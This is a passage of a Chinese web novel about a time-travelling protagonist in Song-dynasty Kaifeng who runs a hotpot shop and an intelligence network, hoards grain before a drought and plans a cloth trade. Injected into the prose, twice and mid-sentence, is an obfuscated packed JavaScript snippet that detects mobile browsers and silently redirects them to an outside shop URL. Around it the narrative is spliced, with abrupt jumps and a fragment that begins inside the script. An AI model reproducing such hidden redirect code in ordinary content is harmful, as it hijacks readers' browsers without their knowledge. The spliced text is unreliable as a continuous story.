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第二天一早,萧北翊让阿九把三叔的底细查了个清楚。 阿九的效率一如既往地高。到了傍晚,一份关于三叔的详细报告就摆在了萧北翊面前。 三叔,本名赵三,徐州人,年轻时是个走镖的镖师,后来因为伤了人,被镖局开除,流落街头,被陈布衣收留。两人拜了把子,赵三排行老三,所以人称“三叔”。陈布衣死后,赵三成了徐州丐帮的二号人物,但不大管事,整天在破庙里喝酒。 他跟萧北翊的父亲有什么关系?阿九没查到。陈布衣的过去,似乎被人刻意抹去了,能找到的信息少之又少。 萧北翊把报告放在一边,心里有了数。三叔不愿意说的东西,硬问也问不出来。只能等他自己想说的时候再说。 不急。他有的是耐心。 九月的最后一天,萧北翊在葫芦巷的院子里开了一个会。 赤羽的核心成员都到了——刘二、阿九、钱串子、赵大锤、孙驼子。阿诚第一次参加这种会,坐在角落里,眼睛瞪得大大的,不敢说话。 萧北翊把最近收集到的消息简单说了一遍,然后提出了一个新的计划。 “从下个月开始,赤羽要做的第一件事是——扩大囤粮。” 钱串子一愣:“萧哥,咱们已经囤了两百石了,还不够?” “不够。”萧北翊竖起两根手指,“我的目标是两千石。” 院子里安静了一瞬。两千石粮食,按现在的市价,需要五六百两银子。赤羽账上现在只有八十多两,缺口巨大。 “萧哥,”钱串子小心翼翼地问,“咱们哪来这么多银子?” “赚。”萧北翊说,“火锅店的利润,全部拿来买粮。同时,赤羽的消息买卖也要扩大。我最近整理了一下,咱们手里至少有十条可以卖钱的消息。刘二哥,你去联系一下周世昌,问他要不要买‘永丰粮铺囤粮’的消息。这条消息,值五十两。” 刘二点了点头。 “阿九,你去找孙七爷,问他有没有兴趣知道‘禁军都头来瓦舍看场子’的幕后是谁安排的。这条消息,值三十两。” 阿九点头。 “钱串子,你去一趟城中的‘恒通钱庄’,找那个胡掌柜,问他愿不愿意花钱买个平安。朱胖子的丑事,咱们手里有证据。三十两,封口费。” 钱串子的手抖了一下:“萧哥,这不就成了敲诈了吗?” “不是敲诈,”萧北翊笑了笑,“是信息变现。咱们手里的信息,对别人有价值,他们花钱买平安,公平交易。” 赵大锤在旁边嘀咕了一句:“这不就是敲诈嘛。” “闭嘴。”萧北翊瞪了他一眼,“这叫商业头脑。” 会议结束后,众人散去。阿诚最后一个走,走到门口又回头看了萧北翊一眼。 “北哥,”他小声说,“你变了。” 萧北翊愣了一下:“哪儿变了?” “你以前……不太爱说话。也不爱笑。”阿诚挠了挠头,“现在你特别能说,而且老笑。虽然笑起来挺好看的,但我总觉得,你笑的时候,心里在盘算别的事。” 萧北翊看着阿诚,忽然笑了——这次是真的笑。 “阿诚,你长大了。会看人了。” 阿诚不好意思地笑了笑,转身跑了。 萧北翊站在院子里,看着阿诚跑出去的背影,心里涌起一股暖意。 这个傻小子,虽然什么都不知道,但他的直觉很准。萧北翊确实变了——不是原主的那个萧北翊变了,而是穿越后的萧北翊,正在用自己的方式,在这个时代站稳脚跟。 不管前路有多少迷雾、多少敌人、多少未知的风险,他都不怕。 因为他有赤羽,有脑子,有一群愿意跟着他干的人。 还有一锅正在沸腾的鸳鸯锅。 萧北翊拍了拍身上的灰,走进北屋,点起油灯,开始规划下一阶段的布局。 窗外的月亮很圆很亮,照得葫芦巷的青石板路明晃晃的。 秋天的夜风从窗缝里钻进来,带着一丝凉意,但萧北翊的心里热乎乎的。 10. 第十章 信息换粮食,火锅结善缘 消息买卖的生意,比萧北翊预想的还要顺利。 刘二去找周世昌的时候,周世昌正在为“永丰粮铺”的事发愁。他的布庄虽然生意不错,但他老婆娘家是开粮铺的,最近被永丰粮铺挤得快要关门了。刘二把“永丰粮铺背后有神秘东家在大量囤粮”的消息一说,周世昌的眼睛立刻亮了。 “这消息值多少?”周世昌问。 刘二按照萧北翊的交代,伸出五根手指:“五十两。” 周世昌二话没说,从柜里取出五十两银子,连借据都没让写。他老婆的娘家要是能提前知道永丰粮铺的动向,提前应对,保住铺子,五十两算什么? 刘二把银子扛回葫芦巷的时候,赵大锤的眼珠子都快瞪出来了。 “五十两?就一句话?” “不是一句话,”萧北翊接过银子,掂了掂分量,“是一条信息。信息就是钱,懂不懂?” 赵大锤挠挠头:“不懂。但五十两银子,真香。” 阿九去找孙七爷,过程就没那么顺利了。 孙七爷是个老狐狸,不是周世昌那种老实商人。阿九把“禁军都头马某来瓦舍看场子的幕后推手是丁谓的门客”的消息一说,孙七爷的脸色变了几变。 “这消息,你是从哪儿得来的?”孙七爷问。 阿九笑了笑:“七爷,我们赤羽做生意,从来不问消息来源。您买的是消息,不是消息的出处。” 孙七爷盯着她看了一会儿,然后哈哈大笑。 “好一个牙尖嘴利的丫头。萧子翼手下,果然没有废物。” 他痛快地付了三十两银子,还说了一句:“以后有好消息,尽管来找我。” 阿九回来汇报的时候,萧北翊正在院子里教阿诚认字。听完,他点了点头,没有多说什么。孙七爷这种人,愿意花钱买消息,说明他意识到了赤羽的价值。这是个好迹象。 钱串子的任务最棘手。 去恒通钱庄找胡掌柜“卖平安”,说白了就是拿着朱胖子的把柄去要钱。钱串子胆子小,在恒通钱庄门口转了三圈,愣是没敢进去。 最后还是萧北翊亲自出马。 他带着朱胖子欺负那个小姑娘的证词——不是正式文书,是那个小姑娘按了手印的陈述——走进了恒通钱庄。 胡掌柜是个四十来岁的胖子,圆脸,小眼睛,笑起来像个弥勒佛。但萧北翊知道,这个人在东京城的灰色地带混了二十年,手上不可能干净。 “胡掌柜,”萧北翊把证词放在柜台上,“朱胖子是您的人,对吧?” 胡掌柜看了一眼证词,脸上的笑容僵了一瞬,但很快恢复了。 “萧老板,有话直说。” “三十两。这事就当没发生过。” 胡掌柜沉默了一会儿,然后笑了。 “萧老板,你这不叫买卖消息,叫敲竹杠。” “胡掌柜要是不愿意,我也可以把这东西送到开封府去。”萧北翊笑眯眯地说,“不过到时候,就不止三十两了。” 胡掌柜盯着他看了好一会儿,最终还是从柜里取出了三十两银子。 “萧老板,后会有期。”胡掌柜把银子递过来的时候,语气里带着一丝警告。 萧北翊接过银子,拱了拱手:“胡掌柜放心,赤羽做生意,讲诚信。收了钱,这事就烂在肚子里。” 他转身走了,背后传来胡掌柜一声低低的哼声。 三笔消息买卖,一共进账一百一十两。加上火锅店一个月的利润六十多两,赤羽的账上一下子多了将近一百八十两银子。 钱串子算账的时候手都在抖:“萧哥,这是咱们成立以来,进账最多的一个月。” “还不够。”萧北翊说,“继续囤粮。城东的永丰粮铺在收粮,城北的顺和粮栈也在收粮,咱们不能落后。刘二哥,你认识粮商,去谈一批陈粮。陈粮便宜,能存得住,饥荒的时候一样能救命。” 刘二点头,领了任务去了。 萧北翊又转向阿九:“城西有个‘孙家磨坊’,专门磨面粉。你去跟他们谈,从下个月开始,咱们每个月买一百斤面粉。价格可以比市价高一点,但要求优先供应。” “萧哥,咱们要那么多面粉干嘛?”阿九不解。 “做储备。”萧北翊说,“面粉比粮食更值钱,也更容易出手。饥荒的时候,普通人家买不起整袋粮食,但买几斤面粉还是可以的。” 阿九若有所思地点了点头。 十月初,东京城下了第一场秋雨。 雨不大,淅淅沥沥地下了整整一天,把甜水巷的青石板路浇得油亮油亮的。火锅店的生意比平时淡了一些,但依然有客人撑着伞来吃。 萧北翊坐在柜台后面,翻看着赤羽最近一周的消息简报。 简报上密密麻麻地写满了各种信息。他一条一条地看过去,有些是没用的八卦,直接略过;有些是有价值的商贾动态,记在心里;还有一些,让他皱起了眉头。 城东的永丰粮铺,囤粮数量又增加了。根据线人的估算,这家铺子至少已经囤了三千石粮食,而且还在继续收。三千石,不是小数目。普通粮铺的正常库存也就是几百石,永丰粮铺的囤粮数量已经远超正常范围。 城南的益粮行,最近半个月有神秘买家频繁出入,每次都是深夜,行踪诡秘。线人没看清买家的脸,但听口音像是从四川来的。 城西的孙家瓦舍,新来的管事马都头,最近跟一个姓刘的禁军军官来往密切。两人在瓦舍的包厢里密谈了一个时辰,出来的时候马都头的脸色不太好看。 萧北翊在每一条信息旁边都做了批注。永丰粮铺的囤粮,让他想起了历史记载中的大中祥符五年饥荒——那时候,提前囤粮的商人都发了大财。但这个神秘东家囤粮的目的,单纯是为了赚钱,还是有别的用意? 城南的神秘买家,让他警觉。四川来的商人,深夜出入粮行,这不像正常的粮食交易,更像是有人在秘密收购粮食,不想让人知道。 至于马都头和禁军军官的密谈,目前信息太少,不好判断。 萧北翊把简报收起来,走到窗前,看着外面的雨。 秋天的雨,带着一股凉意,打在脸上有些疼。他忽然想起了三叔说过的那些话——“那块玉佩,在你来东京城之前,陈大哥把它交给了另外一个人。那个人,等你长成了,能独当一面了,自然会来找你。” 长成。能独当一面。 萧北翊现在的火锅店月入六十多两,赤羽的消息网络覆盖全城,账上存了一百多两银子,手下二十几号人,还跟赵衍搭上了线。这算不算“能独当一面”? 也许还不够。但他已经在路上了。 下午,雨停了。萧北翊正在后厨调底料,阿九走进来,说外面有人找他。 “谁?” “上次在赵府见过的那个老仆人。” 萧北翊擦了擦手,出去一看,果然是赵府的那个老仆人。老人穿着一件蓑衣,手里提着一个小竹篮,见了萧北翊,微微欠了欠身。 “萧公子,我家主人让我送些东西过来。” 他把竹篮放在柜台上,打开,里面是一坛酒和一封信。 萧北翊拿起信,拆开。信纸上是赵衍端正的小楷: “子翼吾弟:闻你火锅店生意兴隆,特送陈年花雕一坛,聊表心意。另,近日朝中有传闻,京东路、京西路明年或将有旱灾,户部已开始筹备赈灾事宜。你若有心,可提前准备。赵衍拜上。” 萧北翊把信折好,揣进怀里。 赵衍送酒是假,送消息是真。他在提醒萧北翊——饥荒的事,不是萧北翊一个人猜到的,朝中已经有人开始准备了。京东路、京西路,正是萧北翊之前推算的受灾区域。户部已经开始筹备赈灾,说明朝廷对明年的灾情已经有了预判。 这是一个重要的信号。如果朝廷提前准备了赈灾粮,饥荒的影响就会减小。萧北翊囤粮的收益也会相应降低。但是——朝廷的准备够不够?根据历史记载,北宋的赈灾能力有限,饥荒的时候照样饿死了不少人。 萧北翊决定继续囤粮,但调整策略:不光囤粮食,还要囤一些朝廷可能来不及准备的东西——比如药材、布匹、工具。饥荒的时候,这些东西比粮食更难买到。 他让阿九记下这些,安排人去办。 傍晚,三叔来了。 他没有空手来,而是提了一篮子柿子,说是从城外的柿子树上摘的。萧北翊接过柿子,让阿九洗了一盘端上来。 三叔吃了一个柿子,眯着眼睛,脸上的皱纹舒展开来。 “甜。”他说了一个字。 萧北翊坐在他对面,也拿起一个柿子吃。柿子很甜,甜得有点腻,但萧北翊吃得津津有味。 “三叔,您说那个人会来找我。”萧北翊边吃边说,“大概什么时候?” 三叔咀嚼的动作停了一下,然后继续嚼。 “不知道。他可能已经来了,在暗处看着你。也可能还没来,在等更好的时机。” “他在暗处看着我?”萧北翊笑了,“那我得表现得好一点。” 三叔看了他一眼,嘴角动了一下,像是在忍笑。 “你这个人,跟你爹一样,嘴贫。” 萧北翊放下柿子,认真地看着三叔。 “三叔,您能不能跟我说说我爹的事?我五岁就没了爹,对他的记忆很模糊。” 三叔沉默了很久。院子里的柿子树被风吹得沙沙响,几片黄叶飘落下来。 “你爹,”三叔终于开口,声音低沉,“是个好人。但好人没好报。” “怎么个好法?” “他在边关当将军的时候,从不克扣军饷,从不打骂士兵。打了胜仗,功劳分给手下。打了败仗,责任自己扛。”三叔的眼睛望着虚空中的某一点,像是在看着很远的地方,“这种人,在朝堂上活不长。” 萧北翊没说话。他知道三叔说的是对的。一个不会钻营、不会站队、不会溜须拍马的将军,在北宋的官场上,注定是异类。异类,就会被排挤,被陷害,被灭门。 “三叔,您也是我爹的手下?” 三叔摇了摇头:“我不是。我是陈大哥的手下。陈大哥是你爹的旧部。你爹出事之后,陈大哥离开了军队,回到徐州,当了乞丐。” 萧北翊的心脏猛地跳了一下。陈布衣——那个收养他的老乞丐——竟然是他父亲的旧部。难怪陈布衣知道他父亲的事,知道那本《孙子兵法》,知道他的身世。 “陈爷爷为什么要离开军队?” 三叔没有回答。 萧北翊追问:“是因为我爹的事?” 三叔还是没回答。他站起来,拿起空了的竹篮,朝门口走去。 “北,”他走到门口停下,头也不回地说,“有些事,不是三叔不愿意说,是三叔不能说。说出来,会害了你。” 他推开门,走进了夕阳里。 萧北翊坐在院子里,看着三叔的背影被夕阳拉得很长很长,直到消失在巷口。 他从怀里掏出赵衍的信,又看了一遍。 “京东路、京西路明年或将有旱灾。” 明年的饥荒,对他来说,是一个机会。既是可以赚钱的机会,也是可以救人的机会。如果赤羽能在饥荒到来之前做好准备,到时候不仅能赚一笔,还能收买人心,扩大势力。 更重要的是,饥荒期间,朝堂上的权力格局会发生微妙的变化。谁能在这个时候表现出能力,谁就能在未来的朝堂上占据一席之地。 萧北翊把信收好,站起来,拍了拍身上的灰。 “阿九,”他朝屋里喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧北翊心里一紧,但脸上不动声色。 “赵大哥说的是什么事?” “囤粮。存水。开火锅店。还有你的消息买卖。”赵衍的语气很平淡,但每说一个词,萧北翊的心就跳一下。 “赵大哥的消息很灵通。” “彼此彼此。”赵衍嘴角微微上扬,“我今天叫你来,不是要干涉你。相反,我要告诉你一件事——你做的事,是对的。” 萧北翊愣了一下:“对的?” “明年,京东路和京西路确实会有大旱。朝廷已经在准备了,但准备得不够。户部的那帮人,只会坐在衙门里算账,不知道下面的人真正需要什么。你提前囤粮、存水、训练人手,到时候能救不少人。” 萧北翊沉默了一会儿。 “赵大哥,您跟我说这些,是希望我做什么?” 赵衍看着他,目光深邃。 “我希望你,把赤羽做大。不是为我做,是为你自己做。但我需要告诉你一件事——你囤的粮食,到时候,朝廷可能会征用。” 萧北翊的瞳孔微微缩了一下。征用。这意味着他辛辛苦苦囤的粮食,到时候可能被官府强行买走,甚至没收。 “赵大哥这是在提醒我,还是在警告我?” “都不是。”赵衍说,“我是在告诉你,有一个办法,可以让你的粮食不被征用。” “什么办法?” “把粮食存在我的庄子上。”赵衍的语气很平静,“我的庄子不在官府征用的范围之内。你囤的粮食,放在我那里,没人能动。” 萧北翊看着他,心里飞快地盘算着。 赵衍这是在帮他,还是在把他绑上战车?粮食放在赵衍的庄子上,就等于把赤羽的命运跟赵衍绑在了一起。到时候,萧北翊想脱身都难。 但另一方面,赵衍说得对——粮食放在自己手里,官府随时可以征用。放在赵衍那里,确实更安全。 “赵大哥,”萧北翊说,“我需要想想。” 赵衍点了点头:“不急。你想好了,随时来找我。” 萧北翊从赵府出来的时候,天已经黑了。 他走在城中的街道上,脑子里反复想着赵衍的话。 把粮食存在赵衍的庄子上。这是一个机会,也是一个陷阱。机会是,赤羽可以借赵衍的庇护,躲过官府的征用。陷阱是,从此以后,赤羽就跟赵衍绑在了一起,再也分不开了。 萧北翊忽然想起了三叔的那句话:“有些事,不是三叔不愿意说,是三叔不能说。说出来,会害了你。” 赵衍是不是也有不能说的秘密?他跟程家的关系,他跟王钦若的恩怨,他到底想要什么——这些东西,赵衍从来没有跟萧北翊说过。 萧北翊深吸一口气,把这些念头压了下去。 不管赵衍的野心是什么,眼下最紧要的事,是明年的大旱。粮食必须存,而且必须存够。至于存到哪里,到时候再说。 他加快脚步,朝甜水巷走去。 火锅店的灯光在前方亮着,暖黄色的,在深秋的夜色里格外温暖。 萧北翊推开门,热气扑面而来。店里坐满了客人,赵大锤在后厨忙得满头大汗,阿九在柜台前算账,刘二在角落里跟一个线人低声交谈。 一切都跟平常一样。 萧北翊走到柜台前,拿起账册,翻到最后一页,在空白处写了一行字: “赤羽第七个月:存粮三百二十石,存银一百五十六两,人员三十一人。目标:千石粮,千人眼,十年局。” 他合上账册,把它放回抽屉里。 窗外,月光如水。 明天,又是新的一天。 11. 第十一章 粮商周胖子 十月的最后一天,萧北翊在火锅店做了一件让所有人都觉得奇怪的事——他在菜单上加了一道菜,叫“清汤萝卜”。 这菜没什么技术含量,就是把白萝卜切成大块,放在清水里煮烂,撒一把盐,几文钱一大碗。赵大锤看了直皱眉头:“萧哥,这玩意儿能好吃?” “好不好吃不重要。”萧北翊说,“重要的是便宜。” “便宜有什么用?卖这玩意儿能赚几个钱?” 萧北翊笑了笑,没解释。 他做这道菜,不是为了赚钱。东京城的冬天马上就要来了,每年冬天都有不少人冻死饿死。清汤萝卜成本低,卖得便宜,穷人吃不起火锅,但吃得起一碗萝卜。这不是生意,是给自己攒口碑。 口碑这东西,平时用不上,关键时候比银子还管用。 果然,清汤萝卜上了菜单之后,火锅店门口排队的队伍里,多了不少衣衫褴褛的人。他们吃不起火锅,但花几文钱买一碗热腾腾的萝卜汤,就着自带的干粮,也是一顿暖心的饭。 老孙头看见这景象,又开始嘀咕:“萧子翼这小子,做生意做疯了。萝卜汤能赚几个钱?还不够柴火费。” 但他嘀咕归嘀咕,自己也跟着做了一锅萝卜汤,摆在豆腐摊旁边卖。结果生意还不错,老孙头嘴上骂,心里其实挺佩服。 十一月初,萧北翊的囤粮计划遇到了一个麻烦——粮价开始涨了。 不是突然暴涨,而是缓慢地、一天一天地往上涨。半个月前,一斗米还只要四十文,现在已经涨到了四十五文。面粉的价格也涨了一成。 刘二打听到,涨价的不仅是东京城,京东路和京西路一带的粮价也在涨。有人在那边大量收购粮食,把价格抬上去了。 “查到是谁在收粮了吗?”萧北翊问。 刘二摇头:“查不到。这个人很隐蔽,每次都是通过不同的中间人,用不同的名义收购。线人只打听到,背后的人可能是从四川来的。” 又是四川。萧北翊的眉头皱了起来。 之前城南益粮行的神秘买家也是从四川来的。现在京东路、京西路也有人打着四川商人的名义在收粮。这不太可能是巧合。有人在下一盘大棋,而且这张棋盘的规模,比萧北翊想的要大得多。 “继续查。”萧北翊说,“不急,但要小心。不要打草惊蛇。” 刘二点头,转身走了。 萧北翊站在院子里,看着已经开始落叶的柿子树,脑子飞速转着。有人在提前布局,而且布局的范围不仅限于东京城,而是覆盖了京东路和京西路——那正是明年预计要闹旱灾的地方。 这个人,要么是有内部消息,要么是也懂“天气预报”。 但大中祥符年间的天气预报,靠的是钦天监的天象观测和历代积累的气象规律。普通商人不会有这个本事,除非他背后有钦天监的人,或者——他自己就是钦天监的。 萧北翊在心里记下了这个线索,决定暂时先按兵不动。对方到底是谁,迟早会浮出水面。 十一月中旬,火锅店来了一个特殊的客人。 说特殊,不是因为他的身份,而是因为他来的方式。不是从正门进来的,是从后门溜进来的。 那天下午,萧北翊正在后厨熬底料,忽然听见有人敲门。他打开后门,看见一个五十来岁的胖子,穿着一件灰扑扑的棉袍,圆脸红润,下巴上留着一撮小胡子,看起来像个富态的商人。 “萧老板?”胖子笑眯眯地问。 “我是。您是?” “免贵姓周,周德茂。”胖子拱了拱手,“城东‘永丰粮铺’的东家。久仰萧老板大名,特来拜访。” 永丰粮铺。萧北翊心里一动。就是那个大量囤粮、挤兑得周世昌老婆娘家快要关门的粮铺。它的东家来找他,什么意思? 萧北翊不动声色地把胖子让进后厨,让阿九泡了一壶茶。 “周掌柜,您来找我,是有什么事?” 周德茂端起茶杯,喝了一口,眯着眼睛看着萧北翊。 “萧老板,明人不说暗话。我听说,你也在囤粮。” 萧北翊端茶的手微微一顿,然后恢复正常。 “周掌柜的消息很灵通。” “做粮食生意的,消息不灵通怎么行?”周德茂放下茶杯,凑近了一些,压低声音,“萧老板,我这次来,是想跟你合作。” “合作?怎么合作?” “我知道你在囤粮,我也在囤粮。咱们两家如果各囤各的,互相抬价,谁都不划算。如果联手,统一价格,统一收购,成本能降下来,利润能提上去。” 萧北翊看着周德茂,脑子飞快地转着。 周德茂说的是商场上最简单的道理——联手压价,垄断市场。听起来很美,但萧北翊心里清楚,这种“合作”背后,往往是更大的陷阱。 “周掌柜,”萧北翊放下茶杯,“我跟您说实话。我囤粮,不是为了赚钱。” 周德茂愣了一下:“不是为了赚钱?那你囤粮干嘛?” “存着。慢慢用。”萧北翊没有细说。 周德茂盯着他看了一会儿,似乎在判断这话的真假。然后他笑了,笑得很和善,但眼神里闪过一丝精明。 “萧老板,你这个人,有意思。不赚钱的生意也做。” “有些事,比赚钱重要。” “比方说?” “比方说,明年万一闹饥荒,手里有粮,能救人。” 周德茂的笑容僵了一瞬,然后恢复了正常。 “萧老板,你怎么知道明年要闹饥荒?” 萧北翊笑了笑:“猜的。” 周德茂看了他一眼,没有再追问。他站起来,从袖子里摸出一张名帖,放在桌上。 “萧老板,合作的事,你再考虑考虑。想好了,随时来找我。永丰粮铺的门,随时为你敞开。” 他拱了拱手,从后门走了。 萧北翊送走了周德茂,回到后厨,把那杯没喝完的茶倒了。 “阿九,”他叫来阿九,“帮我查一个人。周德茂,永丰粮铺的东家。查他的底细——他是什么时候开始做粮食生意的,背后有没有靠山,最近跟什么人走得近。” 阿九点头,领了任务去了。 周德茂的突然出现,让萧北翊心里多了一层警觉。 这个人主动来找他合作,说明他已经注意到了萧北翊的囤粮行动。一个粮商,为什么要关注一个火锅店老板囤不囤粮?除非——他自己也在囤粮,而且囤的数量很大,大到需要控制市场。 萧北翊决定放慢囤粮的速度。不是因为不想囤了,而是不想在这个时候引起太多人的注意。枪打出头鸟,这个道理他懂。 他让刘二暂时停止大规模收购,改为小批量、分散式地买。每次买一石两石,从不同的粮铺买,不引人注意。虽然慢,但安全。 十一月下旬,萧北翊收到了赵衍的第二封信。 信上只有短短几行字:“户部已定明年赈灾方案,拨粮十万石。但京东路、京西路受灾面广,十万石远远不够。你若有余力,可提前与当地豪绅联络,届时朝廷会以市价收购民间存粮。” 萧北翊把信看了三遍,然后折好,收进袖子里。 赵衍在暗示他——朝廷的赈灾粮不够,到时候需要从民间买粮。如果萧北翊囤的粮食足够多,不仅能救人,还能从朝廷手里赚一笔。 这是一个双赢的局面。朝廷买到粮食,萧北翊赚到银子,百姓吃到饭。问题是——萧北翊现在的存粮只有四百石,离他的目标还差得远。 他需要更多的银子来买粮。 火锅店的利润是稳定的,每个月六十多两,勉强够维持赤羽的开销和少量囤粮。消息买卖的进账不稳定,有时候一个月能进一百多两,有时候一分钱都进不来。 萧北翊开始琢磨一个新的赚钱门路——倒卖布匹。 这个想法来自于周世昌。前些日子,周世昌请萧北翊吃饭,席间抱怨最近布匹生意不好做,南方来的货贵,北方卖不上价,两头都赚不到钱。 萧北翊听了,心里一动。南方货贵,北方价低——这不就是套利空间吗?从南方进货,运到北方卖,赚中间的差价。这是最简单的商业模式,但需要本钱、需要渠道、需要运输。 赤羽有本钱吗?有,不多。有渠道吗?没有。有运输吗?更没有。 但萧北翊有脑子。 他问周世昌:“周掌柜,如果我能找到从南方运货来的船,你能不能帮我卖掉?” 周世昌想了想:“能。但得有货。” “货我来想办法。” 萧北翊的这个计划,听起来像个天方夜谭。一个乞丐,想从南方运布匹来卖?但萧北翊不是普通的乞丐。他有赤羽,有信息网络,有赵衍的关系。 他让阿九去查,南方哪个地方的布匹便宜,哪条运输路线最安全,哪个码头的运费最低。阿九花了一周时间,带回了一份详细的报告。 “萧哥,南方的布匹,最便宜的是成都府路。那边的蜀锦和细绢,价格比东京城低三成。但运输成本高,从成都到东京,走水路要两个多月,运费加上沿途的关卡税,利润就薄了。” “有没有近一点的地方?” “有两浙路。那边的丝绸和绢帛,价格比东京城低两成。走大运河,一个月能到,运费也便宜。” 萧北翊点了点头。两浙路,杭州、苏州、湖州那一带,自古就是丝绸之乡。从那里进货,运到东京城卖,赚两成的差价,扣除运费和税,还能剩一成。一成利润,听起来不多,但量大就可观了。 “阿九,你认识两浙路那边的商人吗?” 阿九摇头:“不认识。但可以找人牵线。周掌柜做布匹生意多年,他一定认识那边的人。” 萧北翊想了想,决定先找周世昌商量。 周世昌听了萧北翊的计划,眼睛亮了。 “萧兄弟,你这个想法,可行。我之前没想到,是因为我没本钱。你有本钱,我有渠道,咱们合伙干,赚了钱对半分。” 萧北翊笑了:“周掌柜,我不要对半分。我要三成就够了。货到了,你负责卖,我负责运。” 周世昌愣了一下:“你负责运?你有船吗?” “没有。但我有办法。” 萧北翊的办法很简单——找赵衍。 赵衍是郡王,手里有一些不用的船只,平时闲着也是闲着。萧北翊找他借两条船,从大运河跑一趟两浙路,来回两个月,运费全免。唯一要付出的,是分给赵衍一成的利润。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650301|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵衍听了萧北翊的请求,没有马上答应。 “子翼,你要做生意,我不反对。但你要想清楚——做生意不是你想的那么简单。大运河上盗匪横行,沿途关卡无数,一不小心,货没了,人也没了。” “我知道。”萧北翊说,“所以我不会让货单独走。我会派赤羽的人押船。” 赵衍看了他一眼,沉默了一会儿。 “船可以借你。但有一条——出了事,我不负责。” “那是自然。” 两人击掌为盟。赵衍借给萧北翊两条船,萧北翊每个月给赵衍一成利润作为回报。 萧北翊从赵府出来的时候,天已经黑了。他走在城中的街道上,脚步轻快。 借船的事搞定了,接下来就是进货。他打算先小批量试水——从两浙路进一百匹绢,运到东京城卖。如果能赚钱,再扩大规模。 回到葫芦巷,萧北翊把阿九、刘二、钱串子叫到北屋,把布匹生意的事说了一遍。 刘二第一个开口:“子翼,押船的事,我来负责。我在边军的时候,押过粮草,有经验。” 萧北翊点头:“好。刘二哥带两个人去。大锤,你跟刘二哥一起去,你的拳头有用武之地了。” 赵大锤嘿嘿一笑:“萧哥,你放心,谁敢抢咱们的货,我把他脑袋拧下来。” “少吹牛。”萧北翊白了他一眼,“记住,能不动手就不动手。这趟是做生意,不是打仗。” 钱串子推了推眼镜:“萧哥,账目的事我来管。进货、运输、销售,每笔账都要清楚。” “好。” 阿九最后一个表态:“萧哥,我留在东京城,继续盯着城里的消息。你有什么事,随时让人找我。” 就这样,赤羽的第一趟“跨区域贸易”定了下来。 刘二和赵大锤带着两个兄弟,坐船南下两浙路。萧北翊给了他们一百两银子,让他们先买一百匹绢试试水。如果卖得好,下次再加大数量。 十一月下旬,赤羽的消息简报上出现了一条让萧北翊注意的信息。 城中的“清风茶楼”,那个神秘的枢密院客人,最近一个月出现的次数减少了。以前他每天下午申时准时到,现在隔三差五才来一次,而且每次坐的时间也短了。 钱串子在汇报中说:“萧哥,我怀疑这个人在等什么。他现在来的时候,经常往茶楼对面的巷子里看。那条巷子通往几个朝中大员的宅子。” 萧北翊在简报上批注:“继续观察。如果能查到他在跟谁接头,立刻报告。” 枢密院的人,跑到茶楼等人接头,等的一定不是普通人。如果能查到接头的对象,赤羽手里就多了一张可以跟朝中大员交易的牌。 十一月的最后一天,萧北翊去太乙宫看望王隐之。 老道士最近身体不太好,咳嗽了一个多月,也不肯吃药。萧北翊给他带了一壶自制的姜茶,让阿九煮好了装在陶壶里,热热地端过去。 王隐之接过姜茶,喝了一口,眯着眼睛看着萧北翊。 “子翼,你最近瘦了。” “忙。火锅店、赤羽、囤粮、倒布匹,一堆事。” “忙点好。忙了就不想那些有的没的了。”王隐之咳嗽了两声,擦了擦嘴角,“你爹的事,查得怎么样了?” 萧北翊摇了摇头:“没有进展。只知道程家可能是幕后主使,但没有证据。” 王隐之沉默了一会儿,然后说了一句让萧北翊意外的话。 “证据,不一定在纸面上。” “那在哪儿?” “在人心里。”王隐之看着他,“当年知道那件事的人,还活着的不多了。但还活着的那些人,心里都装着那个秘密。你要找到他们,让他们开口。” 萧北翊点了点头:“我知道。但这些人,不好找。” “不好找,也要找。”王隐之站起来,走到窗前,背对着萧北翊,“你爹生前常说一句话——‘路虽远,行则必至’。你记着这句话,慢慢走,总能走到。” 萧北翊站起来,向王隐之鞠了一躬,转身走了。 走到门口的时候,他听见王隐之在身后说了一句:“子翼,保重身体。你爹的仇,还等着你报呢。” 萧北翊的脚步顿了一下,但没有回头,迈步走了出去。 当天夜里,萧北翊躺在北屋的床上,翻来覆去睡不着。 王隐之的话,在他脑子里反复回响。“证据不一定在纸面上,在人心里。”那些知道二十年前真相的人,还活着的不多了。三叔算一个,王隐之算一个,陈布衣已经死了。还有谁? 萧北翊闭着眼睛,把原主的记忆碎片又翻了一遍。那些破碎的画面里,有一个人的面孔反复出现——一个中年男人,穿着官服,面孔模糊,但眼神很锐利。 这个人是谁?他在原主的记忆里出现过好几次,但每次都是模糊的,看不清脸。萧北翊觉得,这个人一定很重要,重要到原主的潜意识把这张脸藏了起来,不让他看见。 他睁开眼睛,看着头顶的房梁。 “慢慢来。”他对自己说,“不急。” 窗外,月亮躲进了云层里,整个东京城笼罩在一片黑暗中。 萧北翊翻了个身,闭上眼睛,终于沉沉睡去。 12. 第十二章 绢帛南下,柿子红透 大中祥符四年的冬天,比往年来得更猛一些。 十一月初八,东京城下了第一场雪。雪不大,薄薄地铺了一层,像是老天爷撒了一把盐。甜水巷的青石板路变得滑溜溜的,老孙头的豆腐摊差点翻了一回,气得他骂了半天的街。 萧北翊站在火锅店门口,看着漫天飞舞的雪花,心里想的不是雪景好不好看,而是——刘二的船队走到哪儿了。 刘二和赵大锤带着两个兄弟,坐船南下两浙路,已经走了半个月。按照行程,现在应该已经过了应天府,再有个七八天就能到杭州。如果一切顺利,年前就能把货拉回来,赶上春节前的销售旺季。 